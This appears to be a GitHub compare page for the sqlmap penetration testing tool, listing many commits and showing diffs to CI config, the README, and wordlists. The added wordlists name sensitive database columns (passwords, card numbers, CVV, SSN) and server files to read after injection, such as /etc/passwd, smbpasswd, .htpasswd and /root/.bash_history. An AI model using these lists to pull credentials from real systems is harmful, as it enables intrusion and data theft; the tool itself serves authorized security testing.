mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-07 21:21:33 +00:00
Compare commits
351 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8e39c6fc3d | ||
|
|
d9e540e8b2 | ||
|
|
e0ad99d534 | ||
|
|
5f5ee6ca68 | ||
|
|
7a5538ab3e | ||
|
|
125de093df | ||
|
|
dc6e7321e9 | ||
|
|
1023da405a | ||
|
|
013af3235e | ||
|
|
2a1e812288 | ||
|
|
44b7cc7d17 | ||
|
|
60a2d74f2b | ||
|
|
83fecfc1ba | ||
|
|
86c6e3d5fc | ||
|
|
5eb2263c42 | ||
|
|
7ff77ef052 | ||
|
|
5c82f30fd8 | ||
|
|
3f17dc4747 | ||
|
|
e1502e0cea | ||
|
|
c3fe9a0d47 | ||
|
|
f8b2cb5a0a | ||
|
|
597013477d | ||
|
|
0453a2827c | ||
|
|
0605f14d87 | ||
|
|
176e89d978 | ||
|
|
b7cdcebcea | ||
|
|
1fb1a05a78 | ||
|
|
2d48b8effa | ||
|
|
4ef9557ccd | ||
|
|
3513ca66fe | ||
|
|
6467c63c24 | ||
|
|
f19f38d1d5 | ||
|
|
a0b279848d | ||
|
|
ec80009812 | ||
|
|
19e08416b5 | ||
|
|
6825bf85a4 | ||
|
|
4fa39f4539 | ||
|
|
a989e1abfe | ||
|
|
c71bdf5c9e | ||
|
|
1b92acc033 | ||
|
|
f968b23f63 | ||
|
|
5f39016af7 | ||
|
|
1dd400f93d | ||
|
|
feb1df6a05 | ||
|
|
4772a9243a | ||
|
|
8649021b78 | ||
|
|
9d6c931faa | ||
|
|
264a270985 | ||
|
|
4278bbce11 | ||
|
|
db126af86a | ||
|
|
18b72e605a | ||
|
|
0e4232f533 | ||
|
|
e448905eb1 | ||
|
|
ee7aa68da8 | ||
|
|
2fc4d17cbc | ||
|
|
93aa981e4f | ||
|
|
a4cb6dbb00 | ||
|
|
4e3af35ceb | ||
|
|
5d7b7d6bca | ||
|
|
8ab4f6214f | ||
|
|
8d343fc2a6 | ||
|
|
421f1878e3 | ||
|
|
f21388d550 | ||
|
|
f38a2c2028 | ||
|
|
22bf77161a | ||
|
|
186b3920e7 | ||
|
|
d227413a14 | ||
|
|
70df6d8b22 | ||
|
|
6d05985aef | ||
|
|
8c57b9cd4c | ||
|
|
4cf14c80eb | ||
|
|
615ac3b733 | ||
|
|
b2d6ab2949 | ||
|
|
39be0f30d8 | ||
|
|
6f54be987f | ||
|
|
35fa710eed | ||
|
|
f2518f7112 | ||
|
|
3779531540 | ||
|
|
447e5ec0ea | ||
|
|
d5fab1907d | ||
|
|
ec4880e0e1 | ||
|
|
984808cc26 | ||
|
|
6b1f4965ed | ||
|
|
e8be9e4af4 | ||
|
|
5b1574614d | ||
|
|
2c19d16830 | ||
|
|
60b642e2bd | ||
|
|
20700fd6b9 | ||
|
|
4be7c7dcee | ||
|
|
5ab2dfd0d9 | ||
|
|
f0f1cf1b21 | ||
|
|
b25181f061 | ||
|
|
9f85412017 | ||
|
|
4c804a3fd6 | ||
|
|
d7a56017bf | ||
|
|
ef59a365f4 | ||
|
|
1087396d88 | ||
|
|
1cfe370276 | ||
|
|
3776f2eeea | ||
|
|
a6c26fe792 | ||
|
|
c082067902 | ||
|
|
e37c22793b | ||
|
|
14005f476d | ||
|
|
eb3a3b4825 | ||
|
|
71b33e5956 | ||
|
|
ab203c1ec5 | ||
|
|
e7dd7e2d48 | ||
|
|
89aff21fb6 | ||
|
|
c95c370254 | ||
|
|
239e4d7927 | ||
|
|
dbebb34bc8 | ||
|
|
0e9dd9b0be | ||
|
|
57f17794c4 | ||
|
|
7a0a4c28e5 | ||
|
|
0ea39098bd | ||
|
|
49afd47c13 | ||
|
|
dc9e2df3c6 | ||
|
|
3a048a9e67 | ||
|
|
6b45199766 | ||
|
|
bb51c0e41e | ||
|
|
5d62195a41 | ||
|
|
8ace3363bd | ||
|
|
4606d5afd5 | ||
|
|
e9ec443a8a | ||
|
|
4efd745b5c | ||
|
|
4833e40824 | ||
|
|
e0ecf8c804 | ||
|
|
cf7022b0a0 | ||
|
|
4c5cb9e0d4 | ||
|
|
bcb9482724 | ||
|
|
70e6700eb7 | ||
|
|
884ee56730 | ||
|
|
9ca5dc798e | ||
|
|
c96283a083 | ||
|
|
b4f9bf3f21 | ||
|
|
d52d5f0ddc | ||
|
|
d38acbe347 | ||
|
|
7dae324ed6 | ||
|
|
24aadbd850 | ||
|
|
3145de15d8 | ||
|
|
6e06df3d39 | ||
|
|
f01610b397 | ||
|
|
a5ed4c5255 | ||
|
|
9866e478b9 | ||
|
|
251c8ba064 | ||
|
|
1a95cea1f2 | ||
|
|
38d5086b88 | ||
|
|
7b5a640d1f | ||
|
|
e853508192 | ||
|
|
5d32ca638b | ||
|
|
0c8f6156d2 | ||
|
|
292bdf4479 | ||
|
|
82e6bc64c2 | ||
|
|
ea0ec868e9 | ||
|
|
424d4ee968 | ||
|
|
f4bfa7a5ae | ||
|
|
568ee4669e | ||
|
|
c3a6b71023 | ||
|
|
f7a237fdee | ||
|
|
948903f232 | ||
|
|
20d875a8ce | ||
|
|
f947c5f76e | ||
|
|
1233573df1 | ||
|
|
04ce6ba91b | ||
|
|
c1f98d07c1 | ||
|
|
fddc818764 | ||
|
|
c028fb9003 | ||
|
|
1bfb9efb91 | ||
|
|
7731c6c135 | ||
|
|
989915b91c | ||
|
|
03728a4f20 | ||
|
|
47d2cf0c6c | ||
|
|
ce65733043 | ||
|
|
6ab1cf8caa | ||
|
|
78a5573563 | ||
|
|
db2e74a810 | ||
|
|
04708c6d1a | ||
|
|
6823971442 | ||
|
|
adf713d18c | ||
|
|
d8e4eede6e | ||
|
|
862959f27a | ||
|
|
f1000e0d15 | ||
|
|
72443ed875 | ||
|
|
4116ee5f78 | ||
|
|
6e46624fe0 | ||
|
|
9c87671e3a | ||
|
|
d1bb69f917 | ||
|
|
0a266f602c | ||
|
|
9fc856b3a6 | ||
|
|
737c727e56 | ||
|
|
5013f767a1 | ||
|
|
b2a8cb8f77 | ||
|
|
36938f8880 | ||
|
|
99565f2cb3 | ||
|
|
e808496ed3 | ||
|
|
35073ce43b | ||
|
|
7bbeb9e841 | ||
|
|
a0dca74c12 | ||
|
|
1f3a5b4d70 | ||
|
|
d87328f799 | ||
|
|
dfb74ffa84 | ||
|
|
5044894928 | ||
|
|
0a0c696e84 | ||
|
|
0977f6df61 | ||
|
|
f550a2281f | ||
|
|
8fb6268b51 | ||
|
|
531eca7e65 | ||
|
|
cd61a04e5a | ||
|
|
afb3cec133 | ||
|
|
c817a7065e | ||
|
|
f9efc721a9 | ||
|
|
e57e61eccb | ||
|
|
11adf893c3 | ||
|
|
fbde411228 | ||
|
|
348795767c | ||
|
|
be340fcf11 | ||
|
|
6d07d52ccd | ||
|
|
ac9c2f1210 | ||
|
|
45a2d2a83f | ||
|
|
52a70a087e | ||
|
|
87b5be0a5e | ||
|
|
74d3a6d77d | ||
|
|
8296c1ed53 | ||
|
|
6a23c5974f | ||
|
|
2a85dafba8 | ||
|
|
1162aa89fc | ||
|
|
0d140b60f1 | ||
|
|
95c5c20de4 | ||
|
|
e34b73b685 | ||
|
|
7e28c02948 | ||
|
|
aa9ff9e8a6 | ||
|
|
8d877de9b5 | ||
|
|
2bb5ba7fa2 | ||
|
|
8d608dfdfe | ||
|
|
c4ebc23336 | ||
|
|
55d79385cc | ||
|
|
7425d4acfb | ||
|
|
15f94bd671 | ||
|
|
7202bb010c | ||
|
|
77312a8a2e | ||
|
|
60c7fb3e03 | ||
|
|
e6edecb396 | ||
|
|
e78e07d752 | ||
|
|
25541efa44 | ||
|
|
df8fa9cd82 | ||
|
|
7b89613c46 | ||
|
|
f382443ddd | ||
|
|
e58d68c203 | ||
|
|
541cebdce9 | ||
|
|
d193b6e331 | ||
|
|
a9b6a07641 | ||
|
|
39ca71619c | ||
|
|
5f3b397882 | ||
|
|
eb696e17f4 | ||
|
|
8cdc66fdf7 | ||
|
|
72fa5a9c85 | ||
|
|
87f6db467d | ||
|
|
404d8481ad | ||
|
|
9ad3cd5176 | ||
|
|
7eb7bddb25 | ||
|
|
a90324d592 | ||
|
|
6b56715447 | ||
|
|
360d89cecc | ||
|
|
abe31c1fbf | ||
|
|
8ec0c7a691 | ||
|
|
145f87c50d | ||
|
|
dc87e10c99 | ||
|
|
39a46d66e2 | ||
|
|
1b1c37e12c | ||
|
|
adbc4bae5d | ||
|
|
e4a2ac8277 | ||
|
|
c2b929301e | ||
|
|
732267876c | ||
|
|
7a1ecf797b | ||
|
|
fdcde2a2a5 | ||
|
|
6679d6f427 | ||
|
|
bb18c4db09 | ||
|
|
ce9618c307 | ||
|
|
c91fcbb0c7 | ||
|
|
d43f15be38 | ||
|
|
85def6a662 | ||
|
|
fdfcbb9161 | ||
|
|
096953991d | ||
|
|
a660828cec | ||
|
|
273004396c | ||
|
|
1a026e08dc | ||
|
|
e21d4ae344 | ||
|
|
3af15fee60 | ||
|
|
7a6e2df997 | ||
|
|
5c5719b81a | ||
|
|
7c9c6e4a59 | ||
|
|
a422c9bc45 | ||
|
|
4ede1b80a4 | ||
|
|
869adc6fef | ||
|
|
a75ab8b128 | ||
|
|
eec9cca85b | ||
|
|
18d22faacd | ||
|
|
a2ee93344e | ||
|
|
ab2cae3957 | ||
|
|
fd8028bb18 | ||
|
|
1d1da45782 | ||
|
|
8492509919 | ||
|
|
9a624605b6 | ||
|
|
1c3982c32d | ||
|
|
42480ba901 | ||
|
|
d02ee47157 | ||
|
|
8340f8bcad | ||
|
|
6bde50dbdc | ||
|
|
35893c49b8 | ||
|
|
1a5ed610ce | ||
|
|
19925b806b | ||
|
|
4b5927b734 | ||
|
|
1fa81fedf3 | ||
|
|
8407344991 | ||
|
|
17658619dc | ||
|
|
627d99089f | ||
|
|
9b42319d0e | ||
|
|
63c2d2050d | ||
|
|
aed137ad80 | ||
|
|
9fd4a4f0d1 | ||
|
|
57511ac9df | ||
|
|
5f41d94602 | ||
|
|
c8a4e6378f | ||
|
|
08d3228b5f | ||
|
|
5cc36b452e | ||
|
|
d72660ef04 | ||
|
|
4833fb3aa6 | ||
|
|
f437a54561 | ||
|
|
f05f84b6e5 | ||
|
|
871ebfdb70 | ||
|
|
d34619232f | ||
|
|
5168daf6ce | ||
|
|
95e476d5c9 | ||
|
|
cc8209d648 | ||
|
|
6ec6e86937 | ||
|
|
018908c2b1 | ||
|
|
9e69d6076d | ||
|
|
ad785ea0a2 | ||
|
|
b51f02c2ca | ||
|
|
ea3de16f24 | ||
|
|
f29c4e1e07 | ||
|
|
e8871b8a99 | ||
|
|
8b88bb82d3 | ||
|
|
30fba849e2 | ||
|
|
617c336813 | ||
|
|
89a5892dd9 | ||
|
|
af8a2afde1 | ||
|
|
ceaf387533 | ||
|
|
e5a1377c36 | ||
|
|
bb61b08c83 | ||
|
|
2d63441cc4 |
18
.travis.yml
18
.travis.yml
@@ -1,13 +1,19 @@
|
|||||||
language: python
|
language: python
|
||||||
dist: trusty
|
jobs:
|
||||||
|
include:
|
||||||
|
- python: 2.6
|
||||||
|
dist: trusty
|
||||||
|
- python: 2.7
|
||||||
|
dist: trusty
|
||||||
|
- python: 3.3
|
||||||
|
dist: trusty
|
||||||
|
- python: 3.6
|
||||||
|
dist: trusty
|
||||||
|
- python: 3.9-dev
|
||||||
|
dist: bionic
|
||||||
sudo: false
|
sudo: false
|
||||||
git:
|
git:
|
||||||
depth: 1
|
depth: 1
|
||||||
python:
|
|
||||||
- "2.6"
|
|
||||||
- "2.7"
|
|
||||||
- "3.3"
|
|
||||||
- "3.6"
|
|
||||||
script:
|
script:
|
||||||
- python -c "import sqlmap; import sqlmapapi"
|
- python -c "import sqlmap; import sqlmapapi"
|
||||||
- python sqlmap.py --smoke
|
- python sqlmap.py --smoke
|
||||||
|
|||||||
2
LICENSE
2
LICENSE
@@ -1,7 +1,7 @@
|
|||||||
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
COPYING -- Describes the terms under which sqlmap is distributed. A copy
|
||||||
of the GNU General Public License (GPL) is appended to this file.
|
of the GNU General Public License (GPL) is appended to this file.
|
||||||
|
|
||||||
sqlmap is (C) 2006-2019 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
sqlmap is (C) 2006-2020 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
|
||||||
|
|
||||||
This program is free software; you may redistribute and/or modify it under
|
This program is free software; you may redistribute and/or modify it under
|
||||||
the terms of the GNU General Public License as published by the Free
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
|||||||
11
README.md
11
README.md
@@ -1,17 +1,17 @@
|
|||||||
# sqlmap
|
# sqlmap 
|
||||||
|
|
||||||
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
[](https://travis-ci.org/sqlmapproject/sqlmap) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://badge.fury.io/py/sqlmap) [](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [](https://twitter.com/sqlmap)
|
||||||
|
|
||||||
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
|
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.
|
||||||
|
|
||||||
**The sqlmap project is sponsored by [Netsparker Web Application Security Scanner](https://www.netsparker.com/scan-website-security-issues/?utm_source=sqlmap.org&utm_medium=banner&utm_campaign=github).**
|
**The sqlmap project is currently searching for sponsor(s).**
|
||||||
|
|
||||||
Screenshots
|
Screenshots
|
||||||
----
|
----
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of features on the wiki.
|
You can visit the [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) demonstrating some of the features on the wiki.
|
||||||
|
|
||||||
Installation
|
Installation
|
||||||
----
|
----
|
||||||
@@ -36,7 +36,7 @@ To get a list of all options and switches use:
|
|||||||
python sqlmap.py -hh
|
python sqlmap.py -hh
|
||||||
|
|
||||||
You can find a sample run [here](https://asciinema.org/a/46601).
|
You can find a sample run [here](https://asciinema.org/a/46601).
|
||||||
To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
To get an overview of sqlmap capabilities, a list of supported features, and a description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage).
|
||||||
|
|
||||||
Links
|
Links
|
||||||
----
|
----
|
||||||
@@ -64,6 +64,7 @@ Translations
|
|||||||
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
* [Italian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-it-IT.md)
|
||||||
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
* [Japanese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ja-JP.md)
|
||||||
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
* [Korean](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ko-KR.md)
|
||||||
|
* [Persian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-fa-IR.md)
|
||||||
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
* [Polish](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pl-PL.md)
|
||||||
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md)
|
||||||
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
* [Russian](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-ru-RUS.md)
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
id
|
id
|
||||||
@@ -474,6 +474,7 @@ module_addr
|
|||||||
flag
|
flag
|
||||||
|
|
||||||
# spanish
|
# spanish
|
||||||
|
|
||||||
usuario
|
usuario
|
||||||
nombre
|
nombre
|
||||||
contrasena
|
contrasena
|
||||||
@@ -486,6 +487,7 @@ tono
|
|||||||
cuna
|
cuna
|
||||||
|
|
||||||
# german
|
# german
|
||||||
|
|
||||||
benutzername
|
benutzername
|
||||||
benutzer
|
benutzer
|
||||||
passwort
|
passwort
|
||||||
@@ -499,6 +501,7 @@ stichwort
|
|||||||
schlusselwort
|
schlusselwort
|
||||||
|
|
||||||
# french
|
# french
|
||||||
|
|
||||||
utilisateur
|
utilisateur
|
||||||
usager
|
usager
|
||||||
consommateur
|
consommateur
|
||||||
@@ -510,6 +513,7 @@ touche
|
|||||||
clef
|
clef
|
||||||
|
|
||||||
# italian
|
# italian
|
||||||
|
|
||||||
utente
|
utente
|
||||||
nome
|
nome
|
||||||
utilizzatore
|
utilizzatore
|
||||||
@@ -521,17 +525,33 @@ chiavetta
|
|||||||
cifrario
|
cifrario
|
||||||
|
|
||||||
# portuguese
|
# portuguese
|
||||||
|
|
||||||
usufrutuario
|
usufrutuario
|
||||||
chave
|
chave
|
||||||
cavilha
|
cavilha
|
||||||
|
|
||||||
# slavic
|
# slavic
|
||||||
|
|
||||||
korisnik
|
korisnik
|
||||||
sifra
|
sifra
|
||||||
lozinka
|
lozinka
|
||||||
kljuc
|
kljuc
|
||||||
|
|
||||||
# turkish
|
# turkish
|
||||||
|
|
||||||
|
isim
|
||||||
|
ad
|
||||||
|
adi
|
||||||
|
soyisim
|
||||||
|
soyad
|
||||||
|
soyadi
|
||||||
|
kimlik
|
||||||
|
kimlikno
|
||||||
|
tckimlikno
|
||||||
|
tckimlik
|
||||||
|
yonetici
|
||||||
|
sil
|
||||||
|
silinmis
|
||||||
numara
|
numara
|
||||||
sira
|
sira
|
||||||
lokasyon
|
lokasyon
|
||||||
@@ -547,7 +567,9 @@ ev_adres
|
|||||||
is_adresi
|
is_adresi
|
||||||
ev_adresi
|
ev_adresi
|
||||||
isadresi
|
isadresi
|
||||||
|
isadres
|
||||||
evadresi
|
evadresi
|
||||||
|
evadres
|
||||||
il
|
il
|
||||||
ilce
|
ilce
|
||||||
eposta
|
eposta
|
||||||
@@ -605,6 +627,7 @@ kontak
|
|||||||
kontaklar
|
kontaklar
|
||||||
|
|
||||||
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
# List from schemafuzz.py (http://www.beenuarora.com/code/schemafuzz.py)
|
||||||
|
|
||||||
user
|
user
|
||||||
pass
|
pass
|
||||||
cc_number
|
cc_number
|
||||||
@@ -828,6 +851,7 @@ xar_name
|
|||||||
xar_pass
|
xar_pass
|
||||||
|
|
||||||
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
# List from http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html
|
||||||
|
|
||||||
account
|
account
|
||||||
accnts
|
accnts
|
||||||
accnt
|
accnt
|
||||||
@@ -897,6 +921,7 @@ user_pwd
|
|||||||
user_passwd
|
user_passwd
|
||||||
|
|
||||||
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
# List from hyrax (http://sla.ckers.org/forum/read.php?16,36047)
|
||||||
|
|
||||||
fld_id
|
fld_id
|
||||||
fld_username
|
fld_username
|
||||||
fld_password
|
fld_password
|
||||||
@@ -1049,6 +1074,7 @@ yhmm
|
|||||||
yonghu
|
yonghu
|
||||||
|
|
||||||
# site:br
|
# site:br
|
||||||
|
|
||||||
content_id
|
content_id
|
||||||
codigo
|
codigo
|
||||||
geometry
|
geometry
|
||||||
@@ -1305,6 +1331,7 @@ newssummaryauthor
|
|||||||
and_xevento
|
and_xevento
|
||||||
|
|
||||||
# site:de
|
# site:de
|
||||||
|
|
||||||
rolle_nr
|
rolle_nr
|
||||||
standort_nr
|
standort_nr
|
||||||
ja
|
ja
|
||||||
@@ -1467,6 +1494,7 @@ summary_id
|
|||||||
gameid
|
gameid
|
||||||
|
|
||||||
# site:es
|
# site:es
|
||||||
|
|
||||||
catid
|
catid
|
||||||
dni
|
dni
|
||||||
prune_id
|
prune_id
|
||||||
@@ -1556,6 +1584,7 @@ time_stamp
|
|||||||
bannerid
|
bannerid
|
||||||
|
|
||||||
# site:fr
|
# site:fr
|
||||||
|
|
||||||
numero
|
numero
|
||||||
id_auteur
|
id_auteur
|
||||||
titre
|
titre
|
||||||
@@ -1607,6 +1636,7 @@ n_dir
|
|||||||
age
|
age
|
||||||
|
|
||||||
# site:ru
|
# site:ru
|
||||||
|
|
||||||
dt_id
|
dt_id
|
||||||
subdivision_id
|
subdivision_id
|
||||||
sub_class_id
|
sub_class_id
|
||||||
@@ -1812,6 +1842,7 @@ language_id
|
|||||||
val
|
val
|
||||||
|
|
||||||
# site:jp
|
# site:jp
|
||||||
|
|
||||||
dealer_id
|
dealer_id
|
||||||
modify_date
|
modify_date
|
||||||
regist_date
|
regist_date
|
||||||
@@ -1943,6 +1974,7 @@ c_commu_topic_id
|
|||||||
c_diary_comment_log_id
|
c_diary_comment_log_id
|
||||||
|
|
||||||
# site:it
|
# site:it
|
||||||
|
|
||||||
idcomune
|
idcomune
|
||||||
idruolo
|
idruolo
|
||||||
idtrattamento
|
idtrattamento
|
||||||
@@ -2446,6 +2478,7 @@ client_img
|
|||||||
does_repeat
|
does_repeat
|
||||||
|
|
||||||
# site:cn
|
# site:cn
|
||||||
|
|
||||||
typeid
|
typeid
|
||||||
cronid
|
cronid
|
||||||
advid
|
advid
|
||||||
@@ -2621,6 +2654,7 @@ disablepostctrl
|
|||||||
fieldname
|
fieldname
|
||||||
|
|
||||||
# site:id
|
# site:id
|
||||||
|
|
||||||
ajar
|
ajar
|
||||||
akses
|
akses
|
||||||
aktif
|
aktif
|
||||||
@@ -2672,9 +2706,23 @@ urut
|
|||||||
waktu
|
waktu
|
||||||
|
|
||||||
# WebGoat
|
# WebGoat
|
||||||
|
|
||||||
cookie
|
cookie
|
||||||
login_count
|
login_count
|
||||||
|
|
||||||
|
# https://sqlwiki.netspi.com/attackQueries/dataTargeting/
|
||||||
|
|
||||||
|
credit
|
||||||
|
card
|
||||||
|
pin
|
||||||
|
cvv
|
||||||
|
pan
|
||||||
|
password
|
||||||
|
social
|
||||||
|
ssn
|
||||||
|
account
|
||||||
|
confidential
|
||||||
|
|
||||||
# Misc
|
# Misc
|
||||||
|
|
||||||
u_pass
|
u_pass
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
|
# Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
|
||||||
# See the file 'LICENSE' for copying permission
|
# See the file 'LICENSE' for copying permission
|
||||||
|
|
||||||
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
# Reference: https://gist.github.com/sckalath/78ad449346171d29241a
|
||||||
@@ -192,6 +192,42 @@
|
|||||||
/var/log/mysqld.log
|
/var/log/mysqld.log
|
||||||
/var/www/index.php
|
/var/www/index.php
|
||||||
|
|
||||||
|
# Reference: https://github.com/sqlmapproject/sqlmap/blob/master/lib/core/settings.py#L809-L810
|
||||||
|
|
||||||
|
/var/www/index.php
|
||||||
|
/usr/local/apache/index.php
|
||||||
|
/usr/local/apache2/index.php
|
||||||
|
/usr/local/www/apache22/index.php
|
||||||
|
/usr/local/www/apache24/index.php
|
||||||
|
/usr/local/httpd/index.php
|
||||||
|
/var/www/nginx-default/index.php
|
||||||
|
/srv/www/index.php
|
||||||
|
|
||||||
|
/var/www/config.php
|
||||||
|
/usr/local/apache/config.php
|
||||||
|
/usr/local/apache2/config.php
|
||||||
|
/usr/local/www/apache22/config.php
|
||||||
|
/usr/local/www/apache24/config.php
|
||||||
|
/usr/local/httpd/config.php
|
||||||
|
/var/www/nginx-default/config.php
|
||||||
|
/srv/www/config.php
|
||||||
|
|
||||||
|
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3928
|
||||||
|
|
||||||
|
/srv/www/htdocs/index.php
|
||||||
|
/usr/local/apache2/htdocs/index.php
|
||||||
|
/usr/local/www/data/index.php
|
||||||
|
/var/apache2/htdocs/index.php
|
||||||
|
/var/www/htdocs/index.php
|
||||||
|
/var/www/html/index.php
|
||||||
|
|
||||||
|
/srv/www/htdocs/config.php
|
||||||
|
/usr/local/apache2/htdocs/config.php
|
||||||
|
/usr/local/www/data/config.php
|
||||||
|
/var/apache2/htdocs/config.php
|
||||||
|
/var/www/htdocs/config.php
|
||||||
|
/var/www/html/config.php
|
||||||
|
|
||||||
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
|
# Reference: https://www.gracefulsecurity.com/path-traversal-cheat-sheet-linux
|
||||||
|
|
||||||
/etc/passwd
|
/etc/passwd
|
||||||
@@ -1639,3 +1675,130 @@
|
|||||||
\web.config
|
\web.config
|
||||||
\windows\system32\drivers\etc\hosts
|
\windows\system32\drivers\etc\hosts
|
||||||
\windows\win.ini
|
\windows\win.ini
|
||||||
|
|
||||||
|
# Reference: https://repo.theoremforge.com/pentesting/tools/blob/0f1f0578739870b633c267789120d85982545a69/Uncategorized/Dump/lfiunix.txt
|
||||||
|
|
||||||
|
/etc/apache2/.htpasswd
|
||||||
|
/etc/apache/.htpasswd
|
||||||
|
/etc/master.passwd
|
||||||
|
/etc/muddleftpd/muddleftpd.passwd
|
||||||
|
/etc/muddleftpd/passwd
|
||||||
|
/etc/passwd
|
||||||
|
/etc/passwd~
|
||||||
|
/etc/passwd-
|
||||||
|
/etc/pureftpd.passwd
|
||||||
|
/etc/samba/private/smbpasswd
|
||||||
|
/etc/samba/smbpasswd
|
||||||
|
/etc/security/opasswd
|
||||||
|
/etc/security/passwd
|
||||||
|
/etc/smbpasswd
|
||||||
|
\Program Files\xampp\apache\conf\httpd.conf
|
||||||
|
/usr/local/pgsql/bin/pg_passwd
|
||||||
|
/usr/local/pgsql/data/passwd
|
||||||
|
/usr/pkgsrc/net/pureftpd/pureftpd.passwd
|
||||||
|
/usr/ports/contrib/pure-ftpd/pureftpd.passwd
|
||||||
|
/usr/ports/ftp/pure-ftpd/pureftpd.passwd
|
||||||
|
/usr/ports/net/pure-ftpd/pureftpd.passwd
|
||||||
|
/var/log/exim_rejectlog/etc/passwd
|
||||||
|
/etc/mysql/conf.d/old_passwords.cnf
|
||||||
|
/etc/password.master
|
||||||
|
/var/www/.lighttpdpassword
|
||||||
|
/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf
|
||||||
|
/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf
|
||||||
|
/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf
|
||||||
|
/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php
|
||||||
|
/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php
|
||||||
|
/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php
|
||||||
|
/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini
|
||||||
|
/Volumes/webBackup/opt/apache2/conf/httpd.conf
|
||||||
|
/Volumes/webBackup/private/etc/httpd/httpd.conf
|
||||||
|
/Volumes/webBackup/private/etc/httpd/httpd.conf.default
|
||||||
|
|
||||||
|
# Reference: https://pastebin.com/KgPsDXjg
|
||||||
|
|
||||||
|
/etc/passwd
|
||||||
|
/etc/crontab
|
||||||
|
/etc/hosts
|
||||||
|
/etc/my.cnf
|
||||||
|
/etc/.htpasswd
|
||||||
|
/root/.bash_history
|
||||||
|
/etc/named.conf
|
||||||
|
/proc/self/environ
|
||||||
|
/etc/php.ini
|
||||||
|
/bin/php.ini
|
||||||
|
/etc/httpd/php.ini
|
||||||
|
/usr/lib/php.ini
|
||||||
|
/usr/lib/php/php.ini
|
||||||
|
/usr/local/etc/php.ini
|
||||||
|
/usr/local/lib/php.ini
|
||||||
|
/usr/local/php/lib/php.ini
|
||||||
|
/usr/local/php4/lib/php.ini
|
||||||
|
/usr/local/php5/lib/php.ini
|
||||||
|
/usr/local/apache/conf/php.ini
|
||||||
|
/etc/php4.4/fcgi/php.ini
|
||||||
|
/etc/php4/apache/php.ini
|
||||||
|
/etc/php4/apache2/php.ini
|
||||||
|
/etc/php5/apache/php.ini
|
||||||
|
/etc/php5/apache2/php.ini
|
||||||
|
/etc/php/php.ini
|
||||||
|
/usr/local/apache/conf/modsec.conf
|
||||||
|
/var/cpanel/cpanel.config
|
||||||
|
/proc/self/environ
|
||||||
|
/proc/self/fd/2
|
||||||
|
/etc/ssh/sshd_config
|
||||||
|
/var/lib/mysql/my.cnf
|
||||||
|
/etc/mysql/my.cnf
|
||||||
